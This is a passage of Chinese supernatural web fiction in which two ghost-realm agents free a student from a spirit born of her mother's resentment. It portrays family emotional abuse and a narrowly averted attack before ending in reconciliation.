问玄亓看向尤聿离开始验证自己的猜想:“所以,附在人身上的诡就会通过各种方法去干扰人的大脑,影响他们的心理,在他们坚持不住的时候就会控制不住地去伤害别人?”
尤聿离点点头:“没错,这就是它们的目的,在人坚持不住的时候,它就会占据他们的意识,完成借刀杀人。”
茹衿只觉得脑子嗡的一下,她的内心开始惴惴不安,她低着头缓缓开口:“所以我也会杀人对吗?”
问玄亓望着她,虽然这很让人难以接受,但这是事实:“没错,如果你无法控制自己,那么有一天你就会真的变成一具躯壳,沦为诡借刀杀人的棋子。”
茹衿没有说话,她依旧低着头,抠指甲的速度加快,很快就又冒出了血珠,任然是快速用手指抹掉它们,然后在新的伤口上继续撕扯着,仿佛只有疼痛才可以缓解她此时的紧张和不安。
问玄亓和尤聿离早就注意到她手上的动作了,两人对视一眼,随后问玄亓起身进了卧室,再出来时她的手上多了一个瓶子,这是上次尤聿离给她的那瓶药膏。
她走到茹衿旁边坐下,轻轻抓住她的胳膊,打开药膏给她涂药。
茹衿吓了一跳,她一脸懵地看着问玄亓,随后就因为自己的小习惯被看穿而感到不好意思。
问玄亓看着她那两个被抠的面目全非的大拇指,血珠还在一点点的往外冒,她用棉签蘸取药膏慢慢地涂在上面:“告诉你这些就是在想办法去解决,所以你不要有压力,把你这段时间觉得不对劲的地方告诉我们,看看是个什么情况。”
茹衿觉得药膏涂在手上冰冰凉凉的很舒服,那股刺痛的感觉很快就消失不见了,她也开始思考着问玄亓说的话。
“虽然它跟两百年前的诡很相似,但在这个世界上是不会有两只完全一模一样的诡,它们会在刺激人的方式上根据宿主内心的恐惧而有所改变。”问玄亓接着说。
茹衿明白问玄亓什么意思,但她很纠结,她不知道该怎么说,她害怕说出来结果发现只是自己的问题,可她不想当这害人的躯壳,更不想拖了他们的后腿。
她直起身,眼神变得坚定:“好,不过我也不知道这到底是我的问题还是诡的问题。”
问玄亓微微一笑:“没关系,你只要说出来就好。”
茹衿抿抿嘴,随后悄悄转头去看对面的尤聿离。
尤聿离已经做好洗耳恭听的准备了,但他看见茹衿那有些不好意思的眼神立马就意识到自己该回避了:
“我去厨房待一下。”说完起身朝厨房走去。
茹衿没想到尤聿离竟然自己走了。
问玄亓见他离开,便看向茹衿:“说吧,”
茹衿点点头,随后开始回忆自己感觉到的不对劲:
“是两周前,我搬回家住后,就觉得一直有凉风在吹我的后脖颈,明明窗户都关得严严实实的,但那股凉风还是存在。再后来就是那次回家看见一张扭曲的脸。”
“扭曲的脸?是我也在的那个晚上吗?”问玄亓将脑袋靠近了些,去仔细听茹衿的答案。
她点点头:“对,就是那一次,我捡钥匙的时候,一抬头就看见面前有一张脸,下一秒那张脸的五官就开始扭曲朝我飞过来,我吓了一跳,但一转眼的工夫它就消失不见了,不过我现在已经不记得那张脸长什么样子了。”
茹衿觉得有些抱歉,但问玄亓却笑了笑:“没关系,它的长相不重要。”随后又示意她继续说下去。
茹衿轻轻叹了口气:“其实我刚开始一直以为是我压力太大了看到的幻觉,但听你们刚才那么一说,我就觉得那个应该就是诡。”说到这她轻咬嘴唇,像是下了很大的决心:
“我不知道这到底是不是跟诡有关,这几天我特别焦虑,虽然我一直都很焦虑,但这几天这种情绪被放大了很多,比如我上一秒还在看你的消息,下一秒我就开始焦虑难过,然后就是流眼泪。”茹衿又开始抠指甲。
问玄亓一把握住她的手:“没事的,有我在呢。”
茹衿看着她,眼眶开始微微泛红,这个话题一直是她的禁忌,她从来没有对任何人说过,她很害怕,她害怕让别人知道这些。
感觉自己要哭出来了,她赶紧深吸一口气调整情绪:“你刚才来找我的时候我就是那样的,额头上的红印不是我按出来的,是我撞出来的。”
她说这些的时候一直低着头,不敢去看问玄亓的眼睛:“还有刚才,我在洗手间里洗脸,镜子里的我就变了,又变成了哭泣的模样,但下一秒就又恢复正常了,所以我才跑出来找你。”
问玄亓感受到她微微颤抖的身躯,伸出手将她拥入怀中。
茹衿却忍不住了,尽管刚才她在极力憋住眼泪,可问玄亓一抱她,眼泪就一颗接着一颗地溢了出来。
她的抽噎声很小,问玄亓知道她在尽力让自己不哭出声。
“你可以大声哭出来的,没关系。”她的声音很轻很温柔,茹衿已经很久没有听到过这种声音了。
尤聿离在厨房里听着外面的交谈,虽然他要回避,但是关键的信息他还是得听的。他探出一个脑袋看着相拥
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的两人,担心的情绪却开始爬上他的眉头。
时间已经很晚了,问玄亓看着茹衿沉沉睡去,在点燃一盏睡眠香薰后轻轻走出了卧室,尤聿离已经在客厅里等候她多时。
她坐在他的旁边:“两百年前这个时候的我接下来是怎么做的?”
尤聿离看着她:“找到办法把诡从体内逼出来,然后困住它将它杀掉。”
“杀掉?”问玄亓眉头紧锁,有些疑惑:“我还可以杀诡?”
尤聿离反应过来,眼珠一转:“当然是我来杀掉它了。”他瞟了眼问玄亓:“你抓,我杀,两百年前也是这样。”
问玄亓眯着眼看着他,她真的觉得尤聿离演技挺差的,每次这种时候只要眼睛不瞎就能看出他的心虚。
尤聿离见问玄亓一直盯着自己,清了清嗓子:“两百年前的那只诡呢,是你后来找到了它的弱点,就是它什么时候会从人身上下来。”
随后他又看向茹衿的卧室:“我记得她说过有天晚上看见了一张扭曲的脸,朝她飞过去之后就不见了,所以那个时候应该就是诡暂时脱离了她身体,你可以问问那天她都做了什么。”
问玄亓点点头:“好。”
卧室里,茹衿在睡梦中隐隐约约地闻到淡淡的香味,这种味道让她感觉很安心,她觉得自己很舒服,因为没有人打扰她的睡眠,周围都很安静。
“砰”!茹衿被巨大的碰门声吓醒,心脏在急速跳动,她睁大眼睛不知所措的望着天花板,忽然觉得有些不对劲。
这个天花板怎么这么眼熟?卧室外传来很大的刷视频的声音,她慢慢起身不可思议的看着声音来源,自己的卧室门又被打开了,这里不是问玄亓家,是自己家。
茹衿心跳加快,呼吸急促,她看了眼墙上的表,上面显示早上七点半。
怎么回事?为什么自己会在家里?她听着卧室外越来越大的视频声,内心开始惶恐不安、身体微微颤抖,她害怕的盯着门口,直到那个熟悉的人走了进来:
“屋里的水没了,你记得今天去打水!”
“冰箱里的菜你记得炒!”
“那些菜再放下去就烂了!”
“你一天在家里也干点活嘛,把地扫了,再拖一下,窗户上的灰也擦了,就拿那个挂在卫生间墙上的抹布,你要把它洗干净了再擦!”
“我一天很幸苦的,你要体谅我!”
“你看看我为了你花了多少钱,所以你一定要懂事!”
“跟你说话听见没?”
......
茹衿在一声声“叮嘱”下开始焦躁不安,眼眶逐渐变红,血丝也开始爬上眼球,眼泪也即将蓄满,她压制住心里的怒火,看着面前喋喋不休的人,内心的怨气越来越大:
为什么!为什么一定要每天在她睡觉的时候弄出很大的声音?为什么打开门后不关上?为什么要把视频的声音放那么大?为什么要在她熟睡的时候跑进来大声说一些有的没的?她已经很久没有睡过好觉了,只要回到家就会这样。
她死死咬住下唇,眼泪从猩红的眼眶中一颗一颗的滴下来,指甲被她抠的鲜血直流,可她一点都感受不到痛,一点都感受不到!
她下了床,走到客厅,那双带着怨气的眼睛恶狠狠的盯着那人的背,她有点控制不住自己,她慢慢上前,离那人越来越近,就在她快要忍不住进行下一步动作的时候,一道声音传进了她的脑海里。
“茹衿,茹衿,快醒醒!”
声音虽然急促但却让人很安心。
茹衿忽然恢复意识,那双带着怨气的眼睛变成了难过的神情,眼泪还在流淌,但此时也已经变成了难过的眼泪。
随后,面前的人也转过身来,那双无神的双眼一动不动的盯着她。
茹衿明白过来这是诡的把戏,她调整呼吸,闭上了双眼,再睁开时,就看见了问玄亓和尤聿离两个人。
9. 第9章·眼泪
问玄亓见她脸色很难看,急忙问道:“没事吧?我一进来就看见你在流眼泪。”
茹衿看向窗户,天已经亮了,阳光透过窗帘洒在了床上,在确认了这是现实后她才敢放松身体,随后缓缓摇头告诉问玄亓自己没事。
问玄亓脸色沉重:“又是那只诡做的?”
茹衿抬眼看她,眼睛因为眼泪泡得又酸又红。
问玄亓已经知道答案,她和尤聿离对视一眼,在安排好茹衿后两人走出了卧室。
“不能再等下去了,得尽快找到办法把诡逼出她的体内。”问玄亓回头看了眼卧室:“等她恢复得差不多了,我就要开始问她了。”
“好。”尤聿离的眼神则一直落在她的身上,他好像在想什么,手心不自觉地合拢:
阿亓,这一次有我在的话,你应该就不会走之前的路了吧?
问玄亓回头刚好对上他那双深情的眼眸,随后微微蹙眉:“你怎么了?眼睛不舒服啊?不会你也被诡附身了吧?”
尤聿离眨了眨眼,一时没反应过来。
问玄亓意味深长地看了他一眼然后朝厨房走去:“竟然没被诡附身就别愣在那儿,过来帮忙,不然咱三就得饿死。”
尤聿离站在原地,几秒后他轻笑着摇了摇头,几百年了,她还是这个样子。
等茹衿收拾完出来,早饭已经做好,她恍惚的看着桌子上的饭菜。
“收拾好了?”问玄亓端着一个盘子出来正巧看见她站在桌子旁:“坐下吃饭吧,尝尝看怎么样。”
茹衿点点头,乖乖坐下,拿起筷子时却不知道该夹哪道菜。
问玄亓见她难以抉择,便伸手夹起一块放进她旁边的空碗里:“尝尝这个海苔虾滑饼,我看网上的教程新学的。”
“谢谢。”茹衿咬了一口,随后眼神一亮露出称赞的表情:“好吃!”
问玄亓开心死了,她最喜欢别人夸她做的吃的:“好吃就多吃点。”
茹衿点头,她两眼放光扫视着面前的食物,每一道都色香味俱全,看的让人胃口大开。
尤聿离从厨房里出来,将一盘炒青菜放在桌上:“尝尝这个,我厨艺没有你好,就只能做这种简单的。”
问玄亓夹起一根放进嘴里,随后也露出赞赏的表情:“可以嘛,炒的还不错。”
尤聿离也是肉眼可见的开心,他那双忧郁的眼睛,此刻弯成了月牙。
茹衿真的是太满意这顿饭了,往常在家都是自己做,所以能凑合就凑合,像这么色香味俱全的早饭很是少见,果然,人还是得吃点这种样子的饭才能活得下去。
“对了,你今天有课吗?”问玄亓开口问她。
茹衿点点头:“有,不过只有下午有一节课。”
“那就行。”问玄亓将一块饼放进她的碗里:“多吃点,吃完了一会儿咱们就开始正事。”
茹衿看了眼她,随后低头去喝粥,她在想这个正事是什么,是找到解决自己体内这只诡的办法了吗?
吃饱喝足,三个人坐在沙发上,依旧是昨天晚上那样,一人一个沙发。
问玄亓看看他们,一副“行吧”的洒脱样,她看向茹衿:“你昨天晚上说有次你看见了诡的脸,就是我在的那一次,你还记得那天你都干了什么吗?”
“那天?”茹衿努力回想当天干的事:“那天我有早八,所以起的早,去了学校上了一天的课,中午跟下午和舍友一起去食堂吃了饭,等晚上的时候我就去了甜品店,在那儿待了一会儿后就回家了,然后就在小区里看见了那张脸。”
她说到这就停下了,问玄亓见她停下便问道:“没了?”
茹衿点点头。
问玄亓转头看了眼尤聿离,随后又接着对茹衿说:“茹衿,那一天对我们来说至关重要,所以你一定要再好好想想有没有漏掉什么细节,或者是你觉得再平常不过的事那天也发生了。”
听她这么说,茹衿陷入了沉思,那天除了晚上见到那张脸以外,其他的都挺平常的,起床、上学、听课、吃饭。
问玄亓这时却突然想到什么,她向尤聿离问道:“我记得那天晚上在甜品店的时候你才发现她的脸上有蓝光,所以在那儿之前那只鬼其实都是在她身上的。”
尤聿离点点头。
“也就是说,咱们只要确定她离开甜品店到她看见那张脸的那段时间里干的事就行了。”问玄亓向他诉说自己的猜想。
尤聿离手指轻点大腿,眼珠一转:“你说得对。”
“那段时间我都干了什么?”茹衿小声嘀咕:“离开甜品店、在路上行走、扫脸进小区、看见脸......”
她微微蹙眉,伸手挠挠脑袋:“看见脸之前干了什么?扫脸进小区、走的游乐设施那条路、然后......”
问玄亓和尤聿离两个人大气不敢出,生怕打断她的思考。
“然后,然后钥匙掉了,捡钥匙.......”茹衿皱起的眉头舒展开来,她直起身:“对了,看见那张脸之前我钥匙掉出来了,就蹲下去捡,一抬头就看见它在我面前。”她欣喜若狂的看向问玄亓:“钥匙!这好像是我这几周来唯一一次掉钥匙!”
问玄亓将身子凑近:“确定吗?”
茹衿短暂回忆后点点头:“确定,我的钥匙上有一个很大的星星挂件,所以一般它不会掉,而且在那之前我都是住校,家里的钥匙用不上我就把它放在书包里。”
她仔细讲述着那天晚上的细节:“那天晚上我嫌冷,就想把领口的拉链拉上,结果将手从口袋里拿出来的时候一个不注意就把钥匙带出来了,我还被钥匙掉在地上的声音吓了一跳。”
“所以,是钥匙掉落才让诡脱离了你的身体。”问玄亓思考着她的话。
“应该还有一个条件吧?”尤聿离突然开了口。
茹衿皱起眉:“还有一个条件?”
尤聿离有意无意的看了眼问玄亓,随后对茹衿说道:“你当时在哪里?”
茹衿:“我家小区。”
“那就对了,在你家小区里掉的钥匙,所以那只诡才会在那里脱离你的身体。”尤聿离头部微微一侧,点了点头。
问玄亓突然间明白了:“怪不得那天我刚进入小区,那股不对劲的感觉就变得强烈了。”
茹衿的脸上却出现疑惑的表情:“可为什么是我家小区?它不能在别的地方脱离我的身体吗?”
问玄亓看向尤聿离,正好看见他脸上躲闪的神情,她知道是尤聿离有话瞒着她。
“你还有什么话没说?”问玄亓直接挑明:“你要是
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一直瞒着,这件事就得继续拖下去,你想看着这只诡继续为非作歹吗?”
尤聿离心头一颤,问玄亓说的没错,他确实有一些话没有说,因为一旦将这些话说出来,他就不能确定问玄亓是不是还会走以前的老路。如果要真是这样,他宁愿闭嘴。
“我想,剩下的就交给我......”
“尤聿离!”问玄亓打断了他接下来的话:“我说了,这是我的工作,所以不管复不复杂、危不危险我都会去做。”
随后她叹出一口气,调整了语气:“我知道你是担心我会重蹈覆辙,虽然我记不起来是因为什么,但如果我一次次逃避的话,我就永远都会困在这个地方停滞不前,这是你希望的吗?”
尤聿离望着她,忽然红了眼眶。
问玄亓一愣,这怎么还给人整哭了?
尤聿离侧过头,垂下眸,他似乎一直在纠结,双手摩擦着掌心,片刻后他抬眸看向问玄亓。
问玄亓看见他那双眼睛里布满了担忧。
“附身在人身上的诡是必须要有媒介的,别的诡可能是任何一个人的欲望和怨气的化身,但附在人身上的诡就只能是身边人的欲望和怨气所化。”尤聿离的眼神慢慢移动到茹衿身上。
茹衿听见他这么说,似乎想到了什么,有些难以置信。
尤聿离接着说:“它因媒介产生,也受限于媒介,你说你是两周前回家住的,不对劲也是从回家住开始的,而那把钥匙就是打开家的钥匙,所以钥匙就相当于之间的‘线’,你在离家很近的小区弄掉了钥匙,就相当于弄掉了‘线’。”
他的话渐渐印证了茹衿心里的想法,她有些不敢相信,可事实摆在眼前又不得不信,一股酸涩爬上了眼睛。
“也就是说你身边的人就是你体内的诡诞生的载体,而那个人应该就是......”尤聿离本想说完,可他看见茹衿的神情后却怎么都说不出口。
茹衿紧紧皱着眉,她感觉自己有点懵,内心在反复思考着尤聿离说的那些话,甚至没发现自己早已泪流满面。
当一滴眼泪滑过脸颊滴在她手上时,她紧皱的眉头却舒展开了,她放空眼神,像是自嘲般的笑了笑。
她真觉得自己有点蠢了,怎么没早点想到,又或者说为什么就没往那方面想。
眼泪大颗大颗的滴在手背上。
自己真的没往那方面想吗?真的,自己从来没想过。每一次的不对劲都以为是压力太大,想着过会儿就好了,过会儿就会开心了,总是把这一切都往自己身上揽,但其实诡早就告诉自己了,怪不得每次都有她的影子呢。
茹衿觉得自己全身都痛,最痛的就是心脏,像是要碎了一样,自己一直渴望的东西到头来不过是一个可以随时控制自己的欲望和怨气。
一切都是有迹可循,只不过自己不相信罢了。
“我早该明白了,其实她也没有那么爱我。”茹衿轻轻笑了笑:“不对,她其实根本不爱我。”她像是在碎碎念般,声音很小。
问玄亓赶紧坐到她身边,伸手握住她的手:“茹衿,你没事吧?”
茹衿抬眼看着她,那双绝望的眼睛却笑了,她用手擦掉眼泪,像是故作坚强般的扬起嘴角:“我没事,竟然知道原因了,那就麻烦你们捉住它了。”
10. 第10章·眼泪
茹衿语气很坚定,但这反而让问玄亓更加担心了,短暂的相处下来,她发现茹衿虽然表面上看着跟正常人无异,但内心小心又敏感,她怕这突然的结果茹衿会受不了,甚至是想不开。
可没想到茹衿却站起身:“我今天不去学校了,直接去我家吧。”
“你真的没事吗?”问玄亓再次问道。
茹衿笑着摇摇头:“我真的没事,现在对我来说最重要的就是把我体内的诡消灭,所以其他的我已经没时间去管了。”
“好。”竟然她这么说,问玄亓也不纠结了,先把眼前的事解决掉,剩下的事情后面慢慢再说。
“阿亓。”尤聿离走到她身后:“急不得,我们要先把计策商量好。”
问玄亓赞成他的说法,其实她已经想到了一个办法,但她还是向他开口问道:“你有什么想法?”
尤聿离凑近看着她的眼睛:“你有什么想法?”
问玄亓轻轻一笑,不愧是在一起共事两百年的同事,这点默契还是存在的。
她转头去问茹衿:“你的钥匙在哪里?”
茹衿看向卧室:“在我的书包里,放在凳子上。”
“好,你在这等我们一会儿。”说完,她朝卧室走去,尤聿离也紧跟其后。
茹衿乖乖的坐下,等着他们出来。
问玄亓在书包里找到了那把挂着星星的钥匙,随后将它递给了尤聿离。
尤聿离看着手中的钥匙,抬眸看向她:“你想让我把它从茹衿的体内弄出来?”
问玄亓轻轻抬眉:“对,我还需要你帮我一个忙。”
“你说。”
“没有实体的诡应该没有那么好控制,它脱离人体的那一刻一定会重新进入茹衿的身体,就算没进入也会到处逃窜,所以我希望你可以帮我拦住或者困住它。”问玄亓看着他。
尤聿离其实一开始也就是这么想的,所以他没有犹豫:“好,这些交给我,剩下的,就是你的工作了。”
问玄亓扬起嘴角:“走吧,别让茹衿等急了。”说完转身走出了卧室,可她刚来到客厅就愣在了原地。
尤聿离见她不动:“怎么了?”但很快他就明白了是怎么回事。
客厅里连半个人影都没有,茹衿不见了。
两人同时看向门口,大门敞开,显然有人出去了。
问玄亓急忙跑了出去,楼道里也没有茹衿的身影,楼下更是没有她的影子。
“不知道她是什么时候走的。”问玄亓望着小区大门的方向:“她一定回家了。”
“要去追吗?”尤聿离站在旁边等着她的回答。
问玄亓回过头,看了眼自己所住的楼层,似乎在思考什么,片刻后,她摇了摇头:“不,不用去追,我知道怎么做了,我们先回去。”
他们重新回到家,问玄亓对着尤聿离说道:“一会儿我们分开行动,你直接去她家楼下等着。”
尤聿离:“那你呢?”
问玄亓压低眼眸,勾起嘴角:“我负责把它赶下去。”
“那我们现在干什么?”
“等着,等着它主动给我发消息。”
茹衿坐在一辆出租车上,她马上就到家了。刚才,在问玄亓和尤聿离进去卧室时,手机传来消息提示音,她打开一看是妈妈发来的消息:你不要给我莫名其妙的干这种事,我今天休假,你下了课就赶紧给我回来。
看见这条消息的茹衿脸色一变,眼眶泛红,但下一秒,她的眼底竟然泛起一片愤恨,一个想法油然而生,此时的她已经不是她了,她悄悄地打开门离开。
见自己离小区越来越近,她又有些激动,她已经迫不及待地想见到那个人。
站在门外,她发现自己没带钥匙,便伸手敲响了门。
咚咚咚
妈妈打开了门,见茹衿站在外面,脸色一黑,翻了个白眼后重新坐在沙发上。
茹衿走了进去,将门重重碰上。
“你现在还真是厉害,都可以自己做决定了。”
“竟然你这么厉害,以后生活费你也自己去赚好了。”
“赚不到就直接饿死在外面。”
“你黑着个脸干嘛?我让你回来住你还有意见啊?这是我买的房子,你不想住就滚出去。”
“真是,这么一看你连人家孩子一个脚趾甲盖都不如,养你真是倒了八辈子霉了。”
“当初你生下来的时候就应该把你掐死。”
“你听到我说的了吗?”
见茹衿一动不动的站在那儿盯着自己,妈妈站起身走过去推搡着她:你别在这给我当哑巴,以后我说话你必须给我回应!”
妈妈用手扯着茹衿的衣领,茹衿在此刻却抓住了妈妈的手。
妈妈想挣脱开来,茹衿的力气却非常大,任凭她怎么扭动都挣脱不开,或许是没想到茹衿竟然会反抗她,她觉得自己的权威受到了挑战,便开始气急败坏:
“反了你了,给我松开!”
她越骂,茹衿就抓的越紧,到后面她感受到手腕的疼痛。
“你为什么要这么做?”茹衿恶狠狠的盯着她。
“什么?”
“你为什么不放过我。”
在妈妈的视角,她只觉得茹衿疯了,说些莫名其妙的话。
“你为什么不放过我。”
“你为什么不放过我。”
“你为什么不放过我!”
茹衿的声音越来越大,最后一句几乎是吼出来的。
妈妈被茹衿吼的一脸懵,但她依旧放不下她那可怜的脸面:“我这都是为你好!”
茹衿望着面前这个人,眼泪再次掉了下来,但这次却跟之前的不一样,这几滴眼泪只有愤怒。
她一把将妈妈甩在沙发上,妈妈吃痛一时半会儿起不来。
“你永远都不会觉得自己有错。”茹衿冷眼看着她:“竟然你不想改,就永远都不要改了。”
茹衿慢慢靠近妈妈,从口袋里掏出一把闪着寒光的东西。
另一边的问玄亓突然觉得左眼阵痛,她吃痛捂住眼睛。
“阿亓!”尤聿离赶紧扶住她。
问玄亓抬起头,望着面前的空气:“是时候了。”
茹衿举起“寒光”,准备进行下一步动作时,问玄亓拿着问玄棍打掉了它。
茹衿握住手后退,惊讶的看向问玄亓,她不知道从哪里冒出来这么一个人,但看到她手上奇怪的短棍后就立马明白了她是诡界的人。
问玄亓看着茹衿的眼睛,此时她的眼里很陌生,问玄亓明白是诡彻底占据了她的意识。
“区区怨气也敢操控别人去杀人!”问玄亓说着拿起问玄棍就朝茹衿头上打去,茹衿敏捷的躲开了。
她知道此地不宜久留,便连忙往楼下跑。
问玄亓轻轻一笑,这正是她想要的。
刚跑到楼下的茹衿还在回头看问玄亓有没有追上来,见身后没有人,她还没来得及喘一口气就突然被一股力量打飞在地,倒地后她痛苦的看着前方。
尤聿离走到她面前,伸手收回离玄,他垂着眉看它,一副看垃圾的样子:“你已经没有退路了,聪明的话就从她身体里出来。”
茹衿躺在地上没有说话,眼神依旧不服气。
尤聿离也懒得废话,他从口袋里掏出钥匙,将它丢在了地上。
在钥匙接触地面的一瞬间,一只没有完整身形的诡就从茹衿的身体里脱离了出来,而茹衿
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也在诡离开自己身体的那一刻昏了过去。
那只诡见自己脱离出来,便想要再进去,尤聿离眼疾手快的甩出离玄,离玄快速绕过它的身体,将它圈住后,尤聿离拽住绳子,使劲将它甩到了别的地方。
诡见自己打不过尤聿离,便打算逃走,尤聿离哪里会给它机会,将手里的离玄扔了出去,离玄便绕着他们的范围快速飞了一圈,在它飞过的地方形成了一圈结界,将诡困在了里面,同时,外面的人看这一块地方与正常的环境无异。
诡不管怎么弄都出不去,它回过头死死盯着尤聿离。
问玄亓这时走了进来:“怎么样?”
“搞定了。”尤聿离看着她:“剩下的就交给你了。”
问玄亓点点头:“好。”
尤聿离将昏倒的茹衿抱起然后走出了结界。
问玄亓见他们出去后看向远处的诡,那诡见自己出不去便打算鱼死网破,它率先朝着问玄亓飞了过来。
问玄亓站在原地淡定的看着它,见它的那双手变成了两把闪着寒光的短刀,在它伸手挥向自己时,问玄亓拿起问玄棍挡下了它的攻击。
紧接着她将问玄棍在手中转了一圈,趁着诡的那只手脱离的间隙,问玄亓挥棒打向它左侧脑袋,诡吃痛向旁边飞去,但仅仅是半秒钟的时间,它又猛地扑了上来。
那两把短刀被阳光照的闪烁着阵阵光芒,问玄亓拿起问玄棍连续两下挥棒挡下了诡的两次进攻,她眸色一沉,趁势对诡发出猛烈的攻击:
一挥一挡、一劈一戳
尽管诡的两把短刀十分锋利,但在问玄棍面前还是被逼的连连后退。
很快,她们之间就拉开了距离,彼此之间谁都没有说话,但气氛却十分有压迫感。
问玄亓微微眯眼,尤聿离说的没错,这东西确实难缠,她可不想再浪费时间了。
她转动手里的问玄棍,将它们分成两半,对着空中一甩,手上的短棍就变成了两把长剑。
她将左手的长剑一转变成了反手握剑,然后快速冲了出去,地上的枯树叶都被卷了起来。
对面的诡见状也朝问玄亓飞来,它伸出右手挥向问玄亓,问玄亓左手握剑挡下这一刀,随后右手挥剑朝诡的腰部砍去,诡吃痛朝后退去。
它不可思议的看着自己腰部被砍的地方,此时,那条又深又长的伤口正在向外冒出若隐若现的灰色粉尘,它看向问玄亓,下一秒双眼瞪圆,紧闭嘴唇。
问玄亓懒的猜它的情绪,她继续朝它跑去,剑刃飞快划过周围的空气,下一秒落在了诡的身上,诡伸手去挡,却被锋利的剑刃砍断了左手。
“啊啊啊啊啊啊啊!”它看着伤口处不断冒出的粉尘发出了痛苦的尖叫声。
问玄亓可不管它,紧接着就是连续几剑刺向它的身体:
一剑
两剑
三剑
......
诡经受不住倒在地上,在它还想挣扎起身时,迎面飞来一把长剑贯穿了它的身体,将它紧紧插在了地上。
问玄亓走过来,居高临下的看着它,眼底一片冷漠。
诡怨恨的看向问玄亓,接着它的五官开始扭曲变形。
问玄亓撇嘴一笑:“你这招对我可不管用。”说完,她反手拿起问玄棍蹲下,将剑刃狠狠的插进它的脑袋。
诡尽管不甘心,但这一刻它就已经输了,只能慢慢感受自己的身体渐渐消散,最后变成了一团蓝色的气体。
问玄亓站起身,拔出地上的一把剑朝着气体身后的空气划了一刀,空气裂开一条缝隙,缝隙慢慢变大,那气体就乖乖的飞了进去。
随后裂缝消失,问玄亓将问玄棍合二为一收了起来,结界也在这一刻消散。
11. 第11章·眼泪(释怀)
问玄亓在不远处的亭子里找到了他们两个。
茹衿趴在石桌上,显然还没醒,而尤聿离坐在一旁看着手里的书。
“你哪儿来的书?”问玄亓看向他的目光一顿。
尤聿离满脸笑意地站起身:“我看时间充足,去她家拿的。”
问玄亓被他的这番操作震惊,不过转念一想这也确实符合他的风格,笑着说:“你这随意进出别人家的毛病是该改改了嗷。”她微微眯眼:“不过,你说时间充足,意思是嫌我捉诡捉得慢了?”
尤聿离低眉浅笑:“我可没这么说。”
“开玩笑的。”问玄亓挑了下眉,随后走过去查看茹衿的情况。
“她没事,只是暂时昏了过去,算算时间,你可以把她叫醒了。”尤聿离边说边从口袋里掏出一个精致的瓶子递给她。
问玄亓接过瓶子打开,里面立马散发出刺鼻的气味,她被熏的皱起了眉。
尤聿离赶紧伸手抓住她的手腕,借着她的手将瓶子移向了别的方向:“这是我问云崧蓝借来的,它可以让昏迷的人快速醒来,但是醒着的人可要少闻。”
问玄亓点点头,蹲下将瓶子放在茹衿的鼻子下。
“咳咳咳......咳咳。”
茹衿被呛的直咳嗽。
问玄亓见她醒来,将瓶子放在石桌上。
“问玄亓?”茹衿迷迷糊糊地喊着她的名字。
“是我,你觉得怎么样?有没有不舒服的地方?”问玄亓注意着她脸上的每一个表情变化,生怕她有不对劲的地方。
茹衿感受了一下,她摇摇头:“没有,我现在反而觉得一身轻松。”
问玄亓松了一口气:“那就好。”
茹衿又抬头看向四周:“这是,我家小区?我什么时候回来的?我怎么一点印象都没有?”她赶紧摸摸自己的身体:“那只诡呢?还在我体内?”
问玄亓拍拍她的胳膊:“放心吧,那只诡已经被我送到诡界去了,至于你为什么会回来,那是因为你被诡占据了意识。”
“我被它占据了意识?”茹衿忽然变得极其慌张:“那不就是最后一个阶段了吗?我杀人了?我杀谁了?”她站起身看向对面熟悉的楼,一股不祥的预感涌上心头:“我妈呢?她怎么了?”
她说着就要往楼里跑,问玄亓赶紧按住她:“你没杀人,谁都没杀,你妈妈也很好。”
茹衿听到她这么一说,才停下了脚步,但心脏依旧在砰砰跳。她咽了咽口水,随后又想到了什么:“不对,我能被占据意识一定做了什么。”她慢慢抬眼看向问玄亓:“我是不是对我妈?”
问玄亓的脸上出现闪躲的神色。
茹衿明白了,愧疚和不安渐渐浮上她的脸:“我怎么可以这么做呢?”她小声说着。
问玄亓见状赶紧开口安慰:“这不是你的错,你那个时候什么都不知道,而且我已经用问玄棍消除了你妈妈的记忆,她不会记得今天发生的事。”
茹衿轻轻摇摇头:“可我确实对她这么做了。”随后她看向自己家所在的楼层:“我想上去看看。”
“好,我陪你上去。”问玄亓有些担心,她怕茹衿做出傻事,所以决定跟着一起去。
“阿亓。”问玄亓转身去看尤聿离,他走上前:“我就先回诡界了,那只诡还在等着我处决。”
问玄亓点点头:“好。”
道完别后,尤聿离回了诡界,而问玄亓陪茹衿回到了她家。
妈妈躺在沙发上,睡得很熟,她们将她抬进了卧室。茹衿给妈妈盖好被子后看见了她手腕上的抓痕,用手轻轻抚摸,一股心酸爬上眼眶。
问玄亓站在卧室外望着她们。
茹衿整理好情绪后走了出来,她将门关上靠在上面叹了口气。
问玄亓安静的等着她开口。
片刻后,茹衿打破了平静:“我每次都想狠下心来告诉自己她其实不爱我,可转念一想,她真的不爱我吗?”茹衿撇着嘴轻轻摇头:“她其实是爱我的,只是用的方式不对。”
“她对我管教严格,控制欲强,每次说的话都很难听,总想让我按她内心所想的去做,可就算是这样这也无法抹去她是爱我的,她也会给我买好吃的,看见我生病她也会愁的睡不着觉。”
问玄亓蹙眉,眼中满是心疼。
茹衿侧着头看了眼身后的卧室门,再次叹了口气:“我知道她不容易,把我养这么大就希望我能有出息,但我不是天才,也没有那么聪明的头脑,所以每次都会让她失望,她恨铁不成钢,脾气就越来越差。我也生气,生气她总是自以为是,认为自己做的永远都是对的,在她看来她做的一切都是为了我好,可我真的接受不了这种所谓的对我好。”
她伸手擦掉眼角的眼泪:“她抱怨生下了我,我讨厌她的教育方式。”随后释怀一笑:“我们都是彼此的苦难,所以下辈子我不要再当她的女儿,我也希望下辈子她有更好的生活,生一个让她满意的孩子。”
问玄亓觉得心里沉沉的,很不是滋味:“那你接下来想怎么做?”
茹衿抬起头,她的眼神中带着期待:“还有几年我就毕业了,毕业后我会很少回来,但不会忘记她的养育之恩,我工作后会定时把钱打给她,在上学的时间我也会出去兼职,尽量少问她要钱。”
期许的眼神又变成感激,她看向问玄亓:“就像你之前说的,我总是用同一种方式去看待我的生活,所以现在我要换一种方式。”
问玄亓的眼眸中带着赞许的色彩:“我支持你的决定,但是不管怎么换,你都不会是你自己的苦难,对于你自己来说,你才是最重要的那一个。”
茹衿看着她的眼睛,永远记住了这句话,两人相视一笑。
外面突然传来叽叽喳喳的鸟叫声,她们来到客厅发现一只鸟停在外面阳台的扶手上休息,它时不时的叫两声,然后开始低头整理自己的羽毛,太阳快要落山了,阳光大片洒到了阳台上,也洒在了它的身上。
茹衿呆呆地看着阳台上整理羽毛的鸟,自言自语道:“它怎么自己在这休息。”
问玄亓走到她旁边,眼神看向阳台,俯下身在她耳边说道:“谁说的,它可不是独自。”
